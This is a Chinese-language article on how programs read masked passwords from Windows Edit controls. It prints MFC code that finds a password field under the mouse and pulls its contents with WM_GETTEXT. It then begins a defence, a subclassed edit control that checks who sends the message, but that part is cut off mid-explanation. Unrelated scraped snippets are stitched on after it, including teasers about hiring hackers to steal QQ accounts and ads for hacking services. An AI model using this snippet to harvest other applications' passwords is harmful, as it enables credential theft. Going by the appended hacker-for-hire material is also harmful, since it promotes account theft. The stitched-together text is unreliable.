Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这个特性,当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时,则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息,这样Edit框中的内容就一目了然了。 二、黑客软件工作 *** 首先要取得当前的窗口,并判断是否是Edit控件,一般多通过鼠标来指定要探测的窗口,例如在WM_MOUSEMOVE消息的响应函数中进行判断,现列举代码片段如下: //将客户坐标转换成屏幕坐标ClientToScreen(&point);//返回一个包含指定屏幕坐标点的窗口CWnd* pWnd = CWnd::WindowFromPoint(point);if (pWnd){//获取窗口句柄HWND hwndCurr = pWnd->GetSafeHwnd();if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) !=(::GetWindowThreadProcessId (hwndCurr, NULL))){char lpClassName[255];//获取类名if (::GetClassName(hwndCurr, lpClassName, 255)){//判断是否是Edit控件if (0 == m_strWndClass.CompareNoCase("EDIT")){//获取窗口风格LONG lStyle. = ::GetWindowLong(hwndCurr, GWL_STYLE);//如果设置了ES_PASSWORD属性if (lStyle. & ES_PASSWORD){char szText[255];//通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);//密码已保存在szText中m_strPassword = szText;}}}}} 上述代码中值得注意的有以下几个关键地方: ClientToScreen(&point);CWnd* pWnd = CWnd::WindowFromPoint(point);HWND hwndCurr = pWnd->GetSafeHwnd(); 这三句代码可以获取当前鼠标位置所在窗口的窗口句柄,在SendMessage中要用到的。 这便是真正起作用的SendMessage了,其之一个参数指定了要接收消息的窗口句柄,我们已经通过上面的代码获取到了,第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了,并将得到的内容保存在szText中。 三、防范措施 既然我们搞清除了黑客软件普遍采取的手法,那我们自然能制订出一套防范其攻击的措施来。下面我们就要对Password进行保护。从以上分析我们可以看出:Edit控件的漏洞主要在于没有对发送WM_GETTEXT或EM_GETLINE消息者的身份进行检查,只要能找到Edit窗口句柄,任何进程都可获取其内容。所以必须要对发送消息者的身份进行验证,这里给出一种 *** 来验证发送消息者的身份是否合法: 1.创建新CEdit类 从CEdit继承一个子类CPasswordEdit,申明全局变量g_bSenderIdentity表明消息发送者的身份: BOOL g_bSenderIdentity; 然后响应CWnd的虚函数DefWindowProc,在这个回调函数中进行身份验证:
一、盗个qq号码怎么找黑客 1、找黑客因此,学习黑客必须尽可能多地阅读英语材料,并及时关注著名的外国网络安全网站。盗个qq号码可以黑权力喜欢审查和保密。找黑客网站红客红客是一种精神,永不屈服,敢于挑战...
本文目录一览: 1、求《黑客帝国》经典台词,最好是英文原版 2、黑客帝国1十句经典台词中英文 3、求黑客帝国经典名句中英文全要,一句对一句 求《黑客帝国》经典台词,最好是英文原版 The M...
宁静致远主要说的一种心境,说的人如果有着平和的,不为外界打动,专业的去做一件事,才能走的长远。这类的书法主要放在家里,适合心境的地方。 宁静致远前面其实还有一句话话,淡泊名利。也就是只有不为了名...
1)体系:/.fseventsd'00020680 D __TMC_END__2019年6月中旬,国际最大飞机零件供货商之一ASCO遭受勒索病毒进犯,因为被病毒进犯导致的出产环境体系瘫痪,该公司将14...
找黑客弄试卷相关问题 如何成为一个黑客菜鸟教程相关问题 黑客主要会干什么 修改网赌充值金额软件(软件著作权申请金额)...
黑客一般怎么攻击网站(黑客攻击网站工具)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、黑...